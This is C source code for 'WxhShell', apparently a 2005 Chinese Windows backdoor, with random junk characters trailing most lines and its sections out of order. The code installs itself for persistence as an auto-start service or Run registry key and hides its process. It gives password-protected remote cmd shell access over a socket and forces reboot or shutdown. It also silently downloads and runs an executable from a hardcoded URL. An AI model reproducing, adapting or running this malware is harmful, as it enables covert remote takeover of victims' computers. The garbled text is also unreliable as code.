    } .='3bQ(UZ4  
  // 关机 m\} =4b  
  case 'd': { !a)s`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $*aE$O6l  
    if(Boot(SHUTDOWN)) As p8qHS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J{^n=X9M0J  
    else { q1<Fg.-r  
    closesocket(wsh); o>$|SU!a  
    ExitThread(0); 8q{1E];:q  
    } xtu]F  
    break; n1JC?+  
    } UJ9q-r  
  // 获取shell dRM5urR6,  
  case 's': { sk\_[p  
    CmdShell(wsh); "h`54 }0  
    closesocket(wsh); # s,Y% Bce  
    ExitThread(0); 6BR \iZ  
    break; 8t--#sDy{0  
  } s.bT[0Vl  
  // 退出 @qpYDnJ:  
  case 'x': { JYl\<Z' {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Os7T 1>  
    CloseIt(wsh); 9DY|Sa]#=  
    break; D'85VZEFyo  
    } oFwG+W /  
  // 离开 widI s[ )  
  case 'q': { nxf {PbHk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;4R =eI  
    closesocket(wsh); HUD7{6}4  
    WSACleanup(); mC% %)F'Zf  
    exit(1); <?nB,U  
    break; +i_'gDy$  
        } vx PDC~3;  
  } #?A]v>I;C  
  } CF,8f$:2  
/bu'6/!`  
  // 提示信息 KuU3DTS85Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .wM:YX'[G  
} !k%l+I3J[  
  } Gmqs`{tc  
kf}F}Ad:%  
  return; A> J1B(up  
} LAizx^F  
;K>{_k f  
// shell模块句柄 mQmBf|Rl  
int CmdShell(SOCKET sock)  W{L  
{ ;`;G/1]#9  
STARTUPINFO si; ^l&nB.  
ZeroMemory(&si,sizeof(si)); -qs(2^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,*q#qW!!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :,urb*  
PROCESS_INFORMATION ProcessInfo; :~WPY9i`  
char cmdline[]="cmd"; 0>I]=M]@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QQ5lW  
  return 0; j{-mQTSD  
} **Qe`}E:  
wBg<Q{J  
// 自身启动模式 ev)rOcOU  
int StartFromService(void) (ra:?B  
{ 3"HGEUqA  
typedef struct TEH*@~P"  
{ N)9pz?*V  
  DWORD ExitStatus; %"1` NT  
  DWORD PebBaseAddress; bnA T,v{  
  DWORD AffinityMask; `wP/Zp{Hy  
  DWORD BasePriority; <Gbn PG?  
  ULONG UniqueProcessId; W?SP .-I  
  ULONG InheritedFromUniqueProcessId; HVtr,jg  
}   PROCESS_BASIC_INFORMATION; R-=_z 6<  
|LXrGyk^  
PROCNTQSIP NtQueryInformationProcess; Ufm(2`FQ  
\[@Q}k[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ({D}QEP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UY?i E=  
vgUhN_rK  
  HANDLE             hProcess; (#!(Q) ]  
  PROCESS_BASIC_INFORMATION pbi; Pmqx ;  
"3U{h]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j;ff } b  
  if(NULL == hInst ) return 0; ,\\%EZ%a  
%RCl+hOP.h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]+^;vc 1r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s_S<gR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NqQM! B]  
^8o_Iz)r,  
  if (!NtQueryInformationProcess) return 0; 2N8rM}?90  
:t2 9`x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z;|0"K  
  if(!hProcess) return 0; vjOG?-  
%igFHh?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GInZ53cQ  
aF; ]7i@  
  CloseHandle(hProcess); &CB.*\0  
hqhu^.}]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1qB!RIau  
if(hProcess==NULL) return 0; T% /xti5$!  
>N+bU{s  
HMODULE hMod; e>])m3xvn  
char procName[255]; rW=k%# p  
unsigned long cbNeeded; PK:o}IWn~x  
1q}u?7nnSG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3{2^G@j  
@%I_&!d  
  CloseHandle(hProcess); >?\v@   
zIAu3  
if(strstr(procName,"services")) return 1; // 以服务启动 EI?d(K  
X/- W8  
  return 0; // 注册表启动 fD3jwPL  
} yr/]xc$  
vp )}/&/  
// 主模块 FqT,4SIR  
int StartWxhshell(LPSTR lpCmdLine) @);!x41f  
{ 73^ T*  
  SOCKET wsl; imJ[:E  
BOOL val=TRUE; v&[X&Hu[  
  int port=0; F #!@}K8  
  struct sockaddr_in door; =|qt!gY)Y  
]Omb :  
  if(wscfg.ws_autoins) Install(); okK/i  
rm5T=fNJ  
port=atoi(lpCmdLine); T!^?d5uW#  
RpmBP[  
if(port<=0) port=wscfg.ws_port; y(bt56 | z  
hX>VVeIZ  
  WSADATA data; ${E[pT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bo~{<UT  
&6,Yjs:T m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |d B1R%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]RJb;  
  door.sin_family = AF_INET; Oet#wp/I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jE?\Yv3  
  door.sin_port = htons(port); *x*,I ,03  
(.@p4q Q-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /A[oj2un  
closesocket(wsl); *D09P%  
return 1; HX /GLnY/X  
} NSxPN:  
$tt0D?$4  
  if(listen(wsl,2) == INVALID_SOCKET) {  xnRp/I  
closesocket(wsl); (g iTp@Tp  
return 1; I\Gp9w0f  
} HP4'8#3o  
  Wxhshell(wsl); ^sf[dr;BA  
  WSACleanup(); 3x(MvW30Lg  
=jV%O$Fx  
return 0; f'zU^/$rf  
R[>;_}5">  
} @sg T[P*ut  
c:@OX[##  
// 以NT服务方式启动 ]9KQP-p'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cAKoPU>U  
{ v0hfY   
DWORD   status = 0; }`<>$2b  
  DWORD   specificError = 0xfffffff; >XXMIz:  
^M"=A}h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rvu3Qo+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~J. Fl[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vk N[=0a,  
  serviceStatus.dwWin32ExitCode     = 0;   Tk v  
  serviceStatus.dwServiceSpecificExitCode = 0; }{kTh%^  
  serviceStatus.dwCheckPoint       = 0; aaqd:N)  
  serviceStatus.dwWaitHint       = 0; O{i_?V_  
&JXHDpd$a^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U>plv  
  if (hServiceStatusHandle==0) return; xvx\H'  
g+KzlS[6  
status = GetLastError(); Rbj+P;t&  
  if (status!=NO_ERROR) Kt4\&l-De  
{ CyK$XDHa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w /W Cj4`  
    serviceStatus.dwCheckPoint       = 0; fN"oa>X  
    serviceStatus.dwWaitHint       = 0; -'H+lrmv  
    serviceStatus.dwWin32ExitCode     = status; Y)4Nydq  
    serviceStatus.dwServiceSpecificExitCode = specificError; ELgae1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *a4b`HRT  
    return; ?N!j.E4=  
  } }N#>q.M  
_iboTcUF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LA=>g/+i.X  
  serviceStatus.dwCheckPoint       = 0; |IcxegE  
  serviceStatus.dwWaitHint       = 0; {Y* ]Qc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d*\C^:Z  
} ]tdo&  
uVuToMCp  
// 处理NT服务事件,比如:启动、停止 -o!,,XYj .  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]}l+ !NV<  
{ B[0,\>  
switch(fdwControl) 0Yzb=QMD  
{ I>8@=V~  
case SERVICE_CONTROL_STOP: ndCS<ojcBP  
  serviceStatus.dwWin32ExitCode = 0; @Z=|$*9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i!d7,>l+Q~  
  serviceStatus.dwCheckPoint   = 0; 7 NB"oU^h%  
  serviceStatus.dwWaitHint     = 0; 1=q?#PQ  
  { /o1)ZC$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ni@e/| 2b  
  }  4Jk}/_  
  return; +/>YH-P=  
case SERVICE_CONTROL_PAUSE: 4gv XJK-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'G3OZj8  
  break;  > ^v8N  
case SERVICE_CONTROL_CONTINUE: u$%#5_k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hPeKQwzC0  
  break; k>0cTBY&  
case SERVICE_CONTROL_INTERROGATE: 55\X\> 0C7  
  break; uQ%HLL-W/  
}; P7x?!71?L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GY$?^&OO>  
} <9k}CXv2PK  
kzVI:  
// 标准应用程序主函数 U_{JM`JY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ge {4;,0=  
{ etK,zEd  
*ckrn>E{h  
// 获取操作系统版本 RBD7mpd  
OsIsNt=GetOsVer(); >3 .ep},  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K!: ,l  
? -F'0-t4%  
  // 从命令行安装 QUw5~n ;-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Yz/t  
f93X5hFnF  
  // 下载执行文件 "xc*A&Sg  
if(wscfg.ws_downexe) { j_WF38o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qM:)daS1w  
  WinExec(wscfg.ws_filenam,SW_HIDE); mV(x&`Cx  
} :XQ  
'lRHdD}s  
if(!OsIsNt) { v3JIUdU=P  
// 如果时win9x,隐藏进程并且设置为注册表启动 +@)$l+kk9  
HideProc(); yzNX2u1  
StartWxhshell(lpCmdLine); ]ifHA# z`~  
} S5 nw  
else A-wxf91+:  
  if(StartFromService()) a=B0ytNm  
  // 以服务方式启动 5NF&LM;i(  
  StartServiceCtrlDispatcher(DispatchTable); qCkg\)Ks5I  
else DF[b?  
  // 普通方式启动 u4+uGYr*@  
  StartWxhshell(lpCmdLine); Jx9%8Ek  
vzm4  
return 0; E|4XQ|B@  
} x[>_I1TJ  
k`~br249  
boOw K?  
c3!|h1h/v  
=========================================== 'sQO0611S  
pH:|G  
&?`&X=Q  
i|^`gly  
pVa|o&,  
+\Mm (Nd  
" UO!6&k>c  
n03SX aU~V  
#include <stdio.h> g5|\G%dOt  
#include <string.h> rLVc<595  
#include <windows.h> 2P=~3g*  
#include <winsock2.h> ;F(01  
#include <winsvc.h> P"~T*Qq-R  
#include <urlmon.h> g)D}p@>m  
I64:-P[\  
#pragma comment (lib, "Ws2_32.lib") (@o />T  
#pragma comment (lib, "urlmon.lib") }qdJ8K  
LXF%~^^@d  
#define MAX_USER   100 // 最大客户端连接数 j6HbJ#]  
#define BUF_SOCK   200 // sock buffer yaXa8v'oC  
#define KEY_BUFF   255 // 输入 buffer # +]! u%n  
V1>94/waa  
#define REBOOT     0   // 重启 *Z2Q]?:{ i  
#define SHUTDOWN   1   // 关机 nkj'AH"2  
# %y{mn  
#define DEF_PORT   5000 // 监听端口 *!Y3N<>!  
d lLk4a+  
#define REG_LEN     16   // 注册表键长度 1V3J:W#;  
#define SVC_LEN     80   // NT服务名长度 }3_G|  
<T/L.>p4  
// 从dll定义API Kcdd=2 [T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S^VV^O5 ^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r8?Lr-;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : 8<^rP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X/7_mU>aKT  
3M*[a~  
// wxhshell配置信息 wP1VQUL  
struct WSCFG { [f(^vlK  
  int ws_port;         // 监听端口 ~wg^>!E  
  char ws_passstr[REG_LEN]; // 口令 BF [?* b  
  int ws_autoins;       // 安装标记, 1=yes 0=no S|4/C  
  char ws_regname[REG_LEN]; // 注册表键名 ~%K(ou=2  
  char ws_svcname[REG_LEN]; // 服务名 % P)}(e6y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #=#$b_6*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4H? Ma|,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CPeK0(7Zh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I3$vw7}5Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WA\f`SRF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +i!M[  
B[|/wHMsT}  
}; gj;G:;1m  
uWj-tzu  
// default Wxhshell configuration 76r s)J[*w  
struct WSCFG wscfg={DEF_PORT, F_ Cz  
    "xuhuanlingzhe", _-\{kJ  
    1, Q%1;{5   
    "Wxhshell", T2;  9  
    "Wxhshell", q.F1Jj  
            "WxhShell Service", esFL<T  
    "Wrsky Windows CmdShell Service", [eP]8G\ W  
    "Please Input Your Password: ", &Q+V I/p  
  1, eSBf;lr=  
  "http://www.wrsky.com/wxhshell.exe", O~OWRJ@p  
  "Wxhshell.exe" DkKD~  
    };  /?xn  
9cj-v}5j  
// 消息定义模块 \^LR5S&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F|Ihq^q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HZ=yfJs nc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g|_*(=Q  
char *msg_ws_ext="\n\rExit."; ?R:Hj=.  
char *msg_ws_end="\n\rQuit."; ve^MqW&S  
char *msg_ws_boot="\n\rReboot..."; EC#10.  
char *msg_ws_poff="\n\rShutdown..."; Li^!OHro.  
char *msg_ws_down="\n\rSave to "; c6)zx b  
kxwm08/|f  
char *msg_ws_err="\n\rErr!"; 97dI4 t<  
char *msg_ws_ok="\n\rOK!"; /k"P4\P`+Q  
K!gFD  
char ExeFile[MAX_PATH]; s7} )4.vO  
int nUser = 0; -- FtFo  
HANDLE handles[MAX_USER]; 'Pu;]sC  
int OsIsNt; C$gLi8|m  
GTNTx5H  
SERVICE_STATUS       serviceStatus; OR8o%AxL7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2Hwf:S'  
a8aqcDs>O  
// 函数声明 #8OqX*/  
int Install(void); 4O^1gw  
int Uninstall(void); Oh4WYDyT  
int DownloadFile(char *sURL, SOCKET wsh); F[Sat;Sll  
int Boot(int flag); dtl<  
void HideProc(void); ,jcp"-5#j  
int GetOsVer(void); c?",kzo  
int Wxhshell(SOCKET wsl); }TvAjLIS6  
void TalkWithClient(void *cs); QLG,r^  
int CmdShell(SOCKET sock); QjU"|$  
int StartFromService(void); }>U03aa!  
int StartWxhshell(LPSTR lpCmdLine); "iGc'?/+  
-h`0v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n #/m7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); our5k   
qJj5J;k  
// 数据结构和表定义 9V\`{(R  
SERVICE_TABLE_ENTRY DispatchTable[] = P'~3WL4MKs  
{ {HnOUc\4  
{wscfg.ws_svcname, NTServiceMain}, o]U ==  
{NULL, NULL} ]NsaFDi\  
}; z\ pT+9&  
Y%@'a~  
// 自我安装 /^G+vhlf\  
int Install(void) $7YLU{0  
{ _Y {g5t  
  char svExeFile[MAX_PATH]; rID]!7~  
  HKEY key; gHshG;z*  
  strcpy(svExeFile,ExeFile); 1Tr=*b %f  
%b6wo?%*  
// 如果是win9x系统,修改注册表设为自启动 \_bX2Lg  
if(!OsIsNt) { Njjeg9f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /p"R}&z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RA/yvr  
  RegCloseKey(key); 4*X$Jle|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .X1niguXH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h zE)>f  
  RegCloseKey(key); (5&"Y?#o,  
  return 0; +Ti@M1A&  
    } j"s(?  
  } 2Wtfx" .y  
} DlI|~  
else { +Wc[ $,vk  
Rby7X*.-v  
// 如果是NT以上系统,安装为系统服务 PQr N";+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iSlVe~ef  
if (schSCManager!=0) K? k`U,  
{ FG\?_G  
  SC_HANDLE schService = CreateService %xz02$k  
  ( sNVD"M,  
  schSCManager, S(l^TF  
  wscfg.ws_svcname, WcFZRy-erc  
  wscfg.ws_svcdisp, ! +7ve[z  
  SERVICE_ALL_ACCESS, HfPeR8I%i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g*M3;G  
  SERVICE_AUTO_START, O~VUViS6$  
  SERVICE_ERROR_NORMAL, %BKTN@;7  
  svExeFile, >w2u  
  NULL, Rw`s O:eZ  
  NULL, CuNHDYQ&3  
  NULL, Ip x:k+J  
  NULL, pp jrm  
  NULL ><qE5D[  
  ); 1S:H!h3  
  if (schService!=0) :9Pqy pd+  
  { PV2904  
  CloseServiceHandle(schService); [f}1wZ*  
  CloseServiceHandle(schSCManager); )j'b7)W\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FC#Q tu~J  
  strcat(svExeFile,wscfg.ws_svcname); 9h8G2J o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /([aD~.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DJ^JUVi  
  RegCloseKey(key); oP6G2@3P/  
  return 0; hlZjk0ez  
    } J4i0+u  
  } 9HP--Z=  
  CloseServiceHandle(schSCManager); H@:@zD!G[  
} ;21JM2JI8  
} \Wk$>?+#@  
JV>OmUAk  
return 1; Pt+_0OsR  
} kn.z8%^(  
=[&Jxy>Y  
// 自我卸载 </QSMs  
int Uninstall(void) .9ne'Ta  
{ XEI]T~  
  HKEY key; ( 9l|^w["  
K]l) z* I  
if(!OsIsNt) { j>iM(8`t1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T5h[{J^  
  RegDeleteValue(key,wscfg.ws_regname); =Sq7U^(>  
  RegCloseKey(key); y8@!2O4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sBwgl9  
  RegDeleteValue(key,wscfg.ws_regname); cg5DyQ(  
  RegCloseKey(key); ` g~-5Z~J  
  return 0; AXCJFqk;  
  } T$e_ao|  
} I f(_$>  
} EbQ}w"{  
else { *bx cq  
*QX$Mo^E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 _J:Yg  
if (schSCManager!=0) XN@5TZoaW  
{ 4/4IZfznX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I}X8-WFB  
  if (schService!=0) u(R`}C?P'  
  { =3'wHl  
  if(DeleteService(schService)!=0) { _u0dt) $  
  CloseServiceHandle(schService); h| Ih4  
  CloseServiceHandle(schSCManager); ;/.ZYTD  
  return 0; ~U|te_l  
  } @WmB0cc_  
  CloseServiceHandle(schService); JpDkf$kM  
  } jv ";?*I6.  
  CloseServiceHandle(schSCManager); `xSXGI  
} 0/Csc\Xl  
} cQny)2k*x  
I zT%Kq  
return 1; k8TMdWW  
} >&R|t_ypw  
yWuq/J:  
// 从指定url下载文件 s5.2gu|"%  
int DownloadFile(char *sURL, SOCKET wsh) v:chr$>j5  
{ o,-@vp  
  HRESULT hr; GCoqKE  
char seps[]= "/"; ])`F$S  
char *token; H4N==o  
char *file; X:A\{^ ~  
char myURL[MAX_PATH]; >nxtQ  
char myFILE[MAX_PATH]; d={}a,3?  
V;!D:N8<  
strcpy(myURL,sURL); 7j Q`i;L}Y  
  token=strtok(myURL,seps); e|I5Nx2)  
  while(token!=NULL) ,RZktWW_  
  { }Y[.h=X  
    file=token; 6=   
  token=strtok(NULL,seps); Q|>y2g!  
  } D"MNlm  
=k'dbcfO$9  
GetCurrentDirectory(MAX_PATH,myFILE); mXr)lA  
strcat(myFILE, "\\"); &zZSWNW  
strcat(myFILE, file); ^%L$$V nG  
  send(wsh,myFILE,strlen(myFILE),0); 3eB2= _V`  
send(wsh,"...",3,0); Y9WH%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gi-tf<  
  if(hr==S_OK) ?}y7S]B FI  
return 0; Ul=`]@]]  
else | 8AH_Fk  
return 1; AA66^/t  
p7*\]HyE)  
} &"BKue~q@p  
,FTF@h-Cs  
// 系统电源模块 8wBns)wy@  
int Boot(int flag) |^1eL I  
{ ,=mn*  
  HANDLE hToken; 43eGfp'  
  TOKEN_PRIVILEGES tkp; gnv4.f:  
[L8gG.wy  
  if(OsIsNt) { 3laSPih[.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PtHT>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7(jt:V6V  
    tkp.PrivilegeCount = 1; ':Te#S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cc^t&Eg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Po2YDj`  
if(flag==REBOOT) { !} 1p:@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qRU8uu   
  return 0; {M=tw  
} {f!mm3'2v  
else { mBNa;6w?{*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  I{E10;  
  return 0; y]Y)?])  
} 8Vq,J:+  
  } h\1_$ac  
  else { dLAElTg  
if(flag==REBOOT) { x*YJ :t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =$HzEzrw  
  return 0; W4N$]D=  
} 8]0^OSS  
else { rO-Tr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }p#S;JZRu+  
  return 0; (\Dd9a8V-  
} .G^ .kg ,  
} Cc=`:ED+  
9 Hm!B )Y  
return 1; bC&_OU:  
} _+UD>u{  
MP T[f  
// win9x进程隐藏模块 X1+Wb9P  
void HideProc(void) -i58FJ`B  
{ _-EHG  
t+vn.X+&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q* m%Fv  
  if ( hKernel != NULL ) W2n%D& PE  
  { "xh]>_;&'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W nVX)o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )]/!:I4e  
    FreeLibrary(hKernel); K$rH{dUM  
  } [E=t{&t  
#Z fg  
return; QutQG  
} PPohpdd)  
bzZEwMc6  
// 获取操作系统版本 /$B<+;L!#  
int GetOsVer(void) vHao y  
{ 50CU|  
  OSVERSIONINFO winfo; N?~K9jGx(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?4xTA  
  GetVersionEx(&winfo); =6? 3c\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H*l8,*M}  
  return 1; /9 [nogP  
  else eX}uZR  
  return 0; VDscZt)y8  
} C[~b6 UP  
gvz&ppcG  
// 客户端句柄模块 sB /*gO  
int Wxhshell(SOCKET wsl) Fm*O&6W\@A  
{ s7=]!7QGS!  
  SOCKET wsh; -FJ 5N}R  
  struct sockaddr_in client; 65MR(+3  
  DWORD myID; {+Eq{8m`  
NC0x!tJ#7  
  while(nUser<MAX_USER) bGDV9su  
{ x3)qK6,\  
  int nSize=sizeof(client); hMi[MB7~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xHI>CNC,  
  if(wsh==INVALID_SOCKET) return 1; D7 .R NXo  
@v|_APy#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YT#" HYO  
if(handles[nUser]==0) [_${N,1  
  closesocket(wsh); r] 2}S=[  
else st pa2z  
  nUser++; W<kJ%42^j  
  } Al 0zL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zX(p\NU  
X1$0'u sS  
  return 0; :eDwkzlHH  
} H+-9R  
8W#whK2El  
// 关闭 socket (0^u  
void CloseIt(SOCKET wsh) :)bm+xWFF  
{ is`le}$^y  
closesocket(wsh); 5y@JMQSO  
nUser--; Uw4KdC  
ExitThread(0); Dk8" H >*  
} .|cQ0:B[  
7+@:wX\  
// 客户端请求句柄 ~^G k7  
void TalkWithClient(void *cs) @TsOc0?-  
{ }F**!%4d  
|odl~juU  
  SOCKET wsh=(SOCKET)cs; O']-<E`1k  
  char pwd[SVC_LEN]; -cEjB%Neo  
  char cmd[KEY_BUFF]; 1[/X$DyaK  
char chr[1]; r=<,`_@Y  
int i,j; p)d'yj  
S_aml  
  while (nUser < MAX_USER) { 03[(dRK>=  
P)ZGNtO9fG  
if(wscfg.ws_passstr) { K5'@$Km  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W~FcU+a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .\qZkk}2l  
  //ZeroMemory(pwd,KEY_BUFF); uQ. m[y  
      i=0; Fb VtyQz  
  while(i<SVC_LEN) { {dhGSM7  
r6QNs1f~.  
  // 设置超时 #%Uk}5;-  
  fd_set FdRead; h9RG?r1  
  struct timeval TimeOut; vfm |?\  
  FD_ZERO(&FdRead); pzHN:9r  
  FD_SET(wsh,&FdRead); U!TFFkX[  
  TimeOut.tv_sec=8; ]xb R:CYJ  
  TimeOut.tv_usec=0; (?D47^F &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b$H{|[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1]m]b4]  
M+9G^o)u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Whod_Uk  
  pwd=chr[0]; g#T8WX{(V  
  if(chr[0]==0xd || chr[0]==0xa) { b\F(.8  
  pwd=0; Mo0+"`   
  break; &Nt4dp`qj  
  } Zm^4p{I%o*  
  i++; 8ZE{GX.m2c  
    } T[;O K  
2VA\{M  
  // 如果是非法用户,关闭 socket bncIxxe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^LX1&yT@  
} O#uTwnW  
H~e;S#3_v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y }aa6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :"|}oKT%mP  
ci <`*>l  
while(1) { =4 36/O`K  
sTU`@}}  
  ZeroMemory(cmd,KEY_BUFF); f^Lw3|rq4  
=i4Ds  
      // 自动支持客户端 telnet标准   _ ^r KOd  
  j=0; {YT!vD9.  
  while(j<KEY_BUFF) { Yu>VW\Fb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8S"vRR  
  cmd[j]=chr[0]; :"#EQq]ct  
  if(chr[0]==0xa || chr[0]==0xd) { AbC /  
  cmd[j]=0; @or&GcQ*  
  break; ;|5m;x/a  
  } S9U,so?  
  j++; ]4ya$%A  
    } .'saUcVg:  
pZ}4'GnZI  
  // 下载文件 oDXUa5x  
  if(strstr(cmd,"http://")) { gT 22!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a= +qR:wT  
  if(DownloadFile(cmd,wsh)) k,LeBCqGcb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : 2Ho  
  else TW8E^k7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %XM wjBM  
  } 2j+v\pjYC  
  else { nb9qVuAGU  
